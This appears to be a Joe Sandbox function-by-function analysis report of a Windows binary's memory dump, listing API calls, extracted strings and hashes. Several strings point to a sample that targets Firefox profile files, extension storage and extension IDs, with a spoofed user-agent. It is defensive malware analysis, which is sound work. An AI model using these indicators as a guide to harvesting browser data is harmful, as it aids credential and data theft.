Function 002223CA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,002223C1,0022051C,0021D594), ref: 002223D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 002223E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 002223FF
SetLastError.KERNEL32(00000000,002223C1,0022051C,0021D594), ref: 00222451

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a877230e553a44cb2a48f54f3523ac0ff5dfa02d4f87671951f0ce622250dc27
Instruction ID: 9e25073738e6cbd3d2a15a5cd56d362e1c21d879e3a41510b1bed971f4687ca8
Opcode Fuzzy Hash: a877230e553a44cb2a48f54f3523ac0ff5dfa02d4f87671951f0ce622250dc27
Instruction Fuzzy Hash: 6E01B532139332FE96187BF4BC4D6272768EB127753700229F520551E1EFA74D75D588

Function 00225179 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 181COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00225216
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0022531D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00225330

Strings

OQ", xrefs: 00225223
OQ", xrefs: 002251E6

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: OQ"$OQ"
API String ID: 885266447-1907008189
Opcode ID: 87ba73a9127f39d7e3dc710e9ec0d2296fe9cd6937158d3c1ea991b18849cd84
Instruction ID: d74206a6a9fa9416c43f9573a696ada162735a3336f78440f66bc065dcf3328b
Opcode Fuzzy Hash: 87ba73a9127f39d7e3dc710e9ec0d2296fe9cd6937158d3c1ea991b18849cd84
Instruction Fuzzy Hash: 14517C71A10629EFCF14CF98D881AAEBBB2EB49350F14C159E815A7291D370AE21DB60

Function 0020CBA6 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0020CBAD

Part of subcall function 0020DF81: __EH_prolog3.LIBCMT ref: 0020DF88

Part of subcall function 0020FC37: __EH_prolog3.LIBCMT ref: 0020FC3E

Strings

; expected , xrefs: 0020CCB6
syntax error , xrefs: 0020CBC1
', xrefs: 0020CC23
unexpected , xrefs: 0020CC7B

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3
String ID: '$; expected $syntax error $unexpected
API String ID: 431132790-3930586041
Opcode ID: aadda81f21d7cad1308c4d4f96de31a5bdc2a1224e2671bf4d38bc58ae2310b4
Instruction ID: 8a7bed147888e05b17882e7ceae581f98556214eb20d575990a07190e72f9701
Opcode Fuzzy Hash: aadda81f21d7cad1308c4d4f96de31a5bdc2a1224e2671bf4d38bc58ae2310b4
Instruction Fuzzy Hash: 02317EB0D24309EBDF08EFA4C596AAEBB75AF14300F50416EE405A72C2DB745A55CF91

Function 0022C180 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,07CD655B,00000000,?,00000000,00245794,000000FF,?,0022C15C,?,?,0022C130,00000000), ref: 0022C1B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0022C1C7
FreeLibrary.KERNEL32(00000000,?,00000000,00245794,000000FF,?,0022C15C,?,?,0022C130,00000000), ref: 0022C1E9

Strings

CorExitProcess, xrefs: 0022C1BF
mscoree.dll, xrefs: 0022C1AE

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6425fc3b78b7ef95ef906f4ebfae4845cfb8f4d5cf155e0ba5c04886c85c84d6
Instruction ID: 91cbcfdaf5b9a1004e3657b6e6ba39b60b645c0ac93631cdf573179808f7a7ae
Opcode Fuzzy Hash: 6425fc3b78b7ef95ef906f4ebfae4845cfb8f4d5cf155e0ba5c04886c85c84d6
Instruction Fuzzy Hash: 3601D675910625FFDB158F90EC0EFAEBBB8FB06B11F000525F819E22D1DBB59910CA90

Function 00235285 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0023530A
__alloca_probe_16.LIBCMT ref: 002353D3
__freea.LIBCMT ref: 0023543A

Part of subcall function 0023188C: RtlAllocateHeap.NTDLL(00000000,?,?,?,002014D8,00000000,?), ref: 002318BE

__freea.LIBCMT ref: 0023544D
__freea.LIBCMT ref: 0023545A

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 31b5650e1311b702b5777cad020ce7d806a9dbc060eb475b76f99f5e945617ab
Instruction ID: 61f51eeb516ea6581093bfcb477128af792cab49e1f125a7b83d4a54f3861cbc
Opcode Fuzzy Hash: 31b5650e1311b702b5777cad020ce7d806a9dbc060eb475b76f99f5e945617ab
Instruction Fuzzy Hash: C451B3F2620626AFEB245EA4CD45EBB76A9EF44751F154428FE0CD6111E770DCB0CAA0

Function 0021B637 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0021B63E
std::_Lockit::_Lockit.LIBCPMT ref: 0021B64B

Part of subcall function 0021A4EA: __EH_prolog3_GS.LIBCMT ref: 0021A4F1
Part of subcall function 0021A4EA: std::_Lockit::_Lockit.LIBCPMT ref: 0021A502
Part of subcall function 0021A4EA: std::_Lockit::~_Lockit.LIBCPMT ref: 0021A524

std::_Facet_Register.LIBCPMT ref: 0021B69E
std::_Lockit::~_Lockit.LIBCPMT ref: 0021B6C8
Concurrency::cancel_current_task.LIBCPMT ref: 0021B6D5

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: f31b8ac27a845d60565e579e759872fdce265b1f296a494c8957dbb4e2bafa34
Instruction ID: 5ce1d2ea340ef412a2417eed0f8f5d31918ed7ee56ff8e1f9790bceddf3c1d00
Opcode Fuzzy Hash: f31b8ac27a845d60565e579e759872fdce265b1f296a494c8957dbb4e2bafa34
Instruction Fuzzy Hash: 7021F13192120ACFCB16EF78D4916EEB7F5AF64320F20451EE455E72A1DB748DA18F80

Function 0021C3F2 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0021C3F9
std::_Lockit::_Lockit.LIBCPMT ref: 0021C406

Part of subcall function 0021A4EA: __EH_prolog3_GS.LIBCMT ref: 0021A4F1
Part of subcall function 0021A4EA: std::_Lockit::_Lockit.LIBCPMT ref: 0021A502
Part of subcall function 0021A4EA: std::_Lockit::~_Lockit.LIBCPMT ref: 0021A524

std::_Facet_Register.LIBCPMT ref: 0021C459
std::_Lockit::~_Lockit.LIBCPMT ref: 0021C483
Concurrency::cancel_current_task.LIBCPMT ref: 0021C490

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: 4eb7157c2f18773c515694c01d459b04f61893c2651f5910dc44a362611c9a5b
Instruction ID: 68fa4b5c29b8517e7b445baec38453e4c5970b6a5d07033b64665c927c98adc1
Opcode Fuzzy Hash: 4eb7157c2f18773c515694c01d459b04f61893c2651f5910dc44a362611c9a5b
Instruction Fuzzy Hash: 8711E031D65219CBCB05EFA494956FEB7F5AF68310F60001AE411A7291CB748E928F96

Function 0021DE24 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0021DE2B
std::_Lockit::_Lockit.LIBCPMT ref: 0021DE36
std::_Lockit::~_Lockit.LIBCPMT ref: 0021DEA4

Part of subcall function 0021DF87: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0021DF9F

std::locale::_Setgloballocale.LIBCPMT ref: 0021DE51
_Yarn.LIBCPMT ref: 0021DE67

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 6a5630e910d7e62a9a2df5ad3f36b0625ec5d0d3707d73e784d9884a9200e4df
Instruction ID: 16a0dba255bef1ff6ea64a6f70084e4f3c1d0137165387bfbc6df0ef618d5673
Opcode Fuzzy Hash: 6a5630e910d7e62a9a2df5ad3f36b0625ec5d0d3707d73e784d9884a9200e4df
Instruction Fuzzy Hash: 8A01F775A10211DBCB05EF20E8495BD77B5BFA1741B19011AE8065B382CF749E62CFC6

Function 002095B2 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 264sleepCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002095BC

Part of subcall function 0020B3E8: __EH_prolog3.LIBCMT ref: 0020B3EF

Part of subcall function 0020B4BA: __EH_prolog3.LIBCMT ref: 0020B4C1

Part of subcall function 0020B64E: __EH_prolog3.LIBCMT ref: 0020B655

Part of subcall function 00209983: __EH_prolog3_GS.LIBCMT ref: 0020998D

Part of subcall function 00206B3E: __EH_prolog3_GS.LIBCMT ref: 00206B48
Part of subcall function 00206B3E: lstrlenA.KERNEL32(?,?), ref: 00206C2D
Part of subcall function 00206B3E: GetProcessHeap.KERNEL32 ref: 00206C6A

Part of subcall function 0020B51E: __EH_prolog3.LIBCMT ref: 0020B525

Part of subcall function 0020B614: __EH_prolog3.LIBCMT ref: 0020B61B

Sleep.KERNEL32(00000BB8), ref: 0020990F

Part of subcall function 00208D6A: __EH_prolog3_GS.LIBCMT ref: 00208D74

Strings

/Up/b, xrefs: 002098FA, 00209902, 00209915
Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603, xrefs: 00209877

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3$H_prolog3_$HeapProcessSleeplstrlen
String ID: /Up/b$Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603
API String ID: 3276473106-2390619756
Opcode ID: b3ea1ea0551af013f7ba876686765cbfc427b51f873230624648a7208d55ff1d
Instruction ID: 12f629c46b87c6f996b10a1220bd1d041a34a5b79ea60b62d5b4d4eb639003d5
Opcode Fuzzy Hash: b3ea1ea0551af013f7ba876686765cbfc427b51f873230624648a7208d55ff1d
Instruction Fuzzy Hash: BEA1DD319203589BDB19EB60C855AEDBB75AF46310F5481AAE40AA32D3DF305FA9CF50

Function 00207FA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 216COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00207FAD

Part of subcall function 0020B4BA: __EH_prolog3.LIBCMT ref: 0020B4C1

Part of subcall function 00207DEC: __EH_prolog3_GS.LIBCMT ref: 00207DF3
Part of subcall function 00207DEC: GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,00207FEA), ref: 00207E40
Part of subcall function 00207DEC: HeapFree.KERNEL32(00000000,?,?,?,?,?,00207FEA), ref: 00207E47

Strings

\Ext\, xrefs: 002081AC
\prefs.js, xrefs: 00207FCF
\storage\default\, xrefs: 002080DC

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_Heap$FreeH_prolog3Process
String ID: \Ext\$\prefs.js$\storage\default\
API String ID: 4110124055-721971596
Opcode ID: c1a3f0c1985c4b387e46c9602fec31a0a6fd31d8bdaffb365c8fa7dfc104342b
Instruction ID: f0d219b8109405ae28f82e62605ab29580626919a137fcbc9decce28d3e4c0af
Opcode Fuzzy Hash: c1a3f0c1985c4b387e46c9602fec31a0a6fd31d8bdaffb365c8fa7dfc104342b
Instruction Fuzzy Hash: 93918A30D24388AADB15EBA4C956BEDBBB0AF15300F8040A9E545A71D3DF741F99CF52

Function 00207DEC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00207DF3

Part of subcall function 0021AE24: __EH_prolog3_GS.LIBCMT ref: 0021AE2E

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,00207FEA), ref: 00207E40
HeapFree.KERNEL32(00000000,?,?,?,?,?,00207FEA), ref: 00207E47

Part of subcall function 0020A6BD: __EH_prolog3.LIBCMT ref: 0020A6C4

Strings

user_pref("extensions.webextensions.uuids", ", xrefs: 00207E5D

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_Heap$FreeH_prolog3Process
String ID: user_pref("extensions.webextensions.uuids", "
API String ID: 4110124055-3221024688
Opcode ID: 02f8deaddc7aed7150535c45a7679d4da34ea1041be752d0be122329b87a69e7
Instruction ID: f2018883e402b4b7a839993c108b872791b1d8fc7a5e16dd4fa452be3ea73bdc
Opcode Fuzzy Hash: 02f8deaddc7aed7150535c45a7679d4da34ea1041be752d0be122329b87a69e7
Instruction Fuzzy Hash: 01518E71D25309DBCF11DBA8C949BEEBBB4AF19300F608019E511B72C2D7746A59CBA2

Function 00209983 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0020998D

Part of subcall function 0021C2B7: __EH_prolog3_GS.LIBCMT ref: 0021C2C1

Part of subcall function 0021C0F0: __EH_prolog3_catch_GS.LIBCMT ref: 0021C0F7

Part of subcall function 0021ABF2: __EH_prolog3_GS.LIBCMT ref: 0021ABF9
Part of subcall function 0021ABF2: ctype.LIBCPMT ref: 0021ACB5

Part of subcall function 0020B7BF: __EH_prolog3.LIBCMT ref: 0020B7C6

Strings

17586936307509717578, xrefs: 002099A9
@, xrefs: 00209A28
ntdll.dll, xrefs: 00209995

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$H_prolog3H_prolog3_catch_ctype
String ID: 17586936307509717578$@$ntdll.dll
API String ID: 2848298560-3853183820
Opcode ID: 2c55c164a3048108d55ae66f4a68f67d37ec0ec9fab2f5d76263df35c0595eef
Instruction ID: d8a3a64554d0649f2e7438b8225ce3ac762d25a5ea5a20793c4029d79c9b7b98
Opcode Fuzzy Hash: 2c55c164a3048108d55ae66f4a68f67d37ec0ec9fab2f5d76263df35c0595eef
Instruction Fuzzy Hash: 182137B1D113589BCB10EFE8C946ACDBBF4AF08310F54412AE504BB282DB705A54CFA1

Function 00223537 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,002234E8,00000000,?,0025A8FC,?,?,?,0022368B,00000004,InitializeCriticalSectionEx,00248594,InitializeCriticalSectionEx), ref: 00223544
GetLastError.KERNEL32(?,002234E8,00000000,?,0025A8FC,?,?,?,0022368B,00000004,InitializeCriticalSectionEx,00248594,InitializeCriticalSectionEx,00000000,?,002232D2), ref: 0022354E
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00223576

Strings

api-ms-, xrefs: 0022355B

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f9c1b6ae7f07e0f0d3ce7193361d6e0c4173d289ea825f84794450f558ae6c85
Instruction ID: 1de4e275bb2bd8cfb7cd9d354800b53bce80d4ec24cd10c0507558a0ea127076
Opcode Fuzzy Hash: f9c1b6ae7f07e0f0d3ce7193361d6e0c4173d289ea825f84794450f558ae6c85
Instruction Fuzzy Hash: 8FE04F30A90319BBEF215FE1FD0EB983E55AB16F51F504430F90DE80E1EBA59A709985

Function 00230338 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(07CD655B,00000000,00000000,?), ref: 0023039B

Part of subcall function 0023657C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00235430,?,00000000,-00000008), ref: 002365DD

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002305ED
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00230633
GetLastError.KERNEL32 ref: 002306D6

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bb94a78d302e4d25880b2a376739ff1a3bd8ab7df5a2eecc79700367737a0d29
Instruction ID: 95584e8af2b0e65120fd261481cc51c5386ed224498c8acc9047b15bad91bb18
Opcode Fuzzy Hash: bb94a78d302e4d25880b2a376739ff1a3bd8ab7df5a2eecc79700367737a0d29
Instruction Fuzzy Hash: 35D19AB5D102489FCF14CFA8D8D5AADBBB8FF49300F24412AE516EB351D630A962CF60

Function 002224E1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 002225A8
___AdjustPointer.LIBCMT ref: 002225CB
___AdjustPointer.LIBCMT ref: 00222667

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6534820fa6556f6f3a25b692f8552bf494a720ad14578795e66a1f0413a74791
Instruction ID: b3bd3ebbbe068a993ca5df094447a79f285491cad26f91db325e71cf6e4d1382
Opcode Fuzzy Hash: 6534820fa6556f6f3a25b692f8552bf494a720ad14578795e66a1f0413a74791
Instruction Fuzzy Hash: 3751F472921226FFEB299F94F441BBA73A8FF04310F148129E905572A1D732ED78DB50

Function 002324E7 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a67a077e91174a3484064c1fdb98f9f4c361c58070288016addf1fba428194c6
Instruction ID: d2581172bda22e08134006d7e4c430a4d7be50592c50cfa458c2f9f52f6aa1ed
Opcode Fuzzy Hash: a67a077e91174a3484064c1fdb98f9f4c361c58070288016addf1fba428194c6
Instruction Fuzzy Hash: E641FBF2A20304FFD7189F78DC42B5EBBE8EB88710F10452AF411DB291D371AA648B80

Function 00235528 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0023657C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00235430,?,00000000,-00000008), ref: 002365DD

GetLastError.KERNEL32 ref: 0023558C
__dosmaperr.LIBCMT ref: 00235593
GetLastError.KERNEL32(?,?,?,?), ref: 002355CD
__dosmaperr.LIBCMT ref: 002355D4

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 3b48abbe099dbf6e61f342c1de1d7cd417183d79b9c2dd3db9c0bcf1761b08ea
